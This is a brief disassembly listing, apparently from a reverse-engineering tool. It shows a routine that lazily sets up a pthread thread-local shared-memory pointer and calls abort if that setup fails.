mov rax, qword [0x008d8fa8]
test rax, rax
je 0x439960
cmp dword [rax], 0xffffffff
je 0x4d3c00
add rsp, 0x20
pop rbx
ret
lea r8, [0x00438d10]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0043d460
mov qword [0x008d8fa8], rax
mov rbx, rax
jmp 0x439911
lea r8, [0x00438d10]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0043d460
mov qword [0x008d8fa8], rax
jmp 0x439925
call sub.msvcrt.dll_abort
nop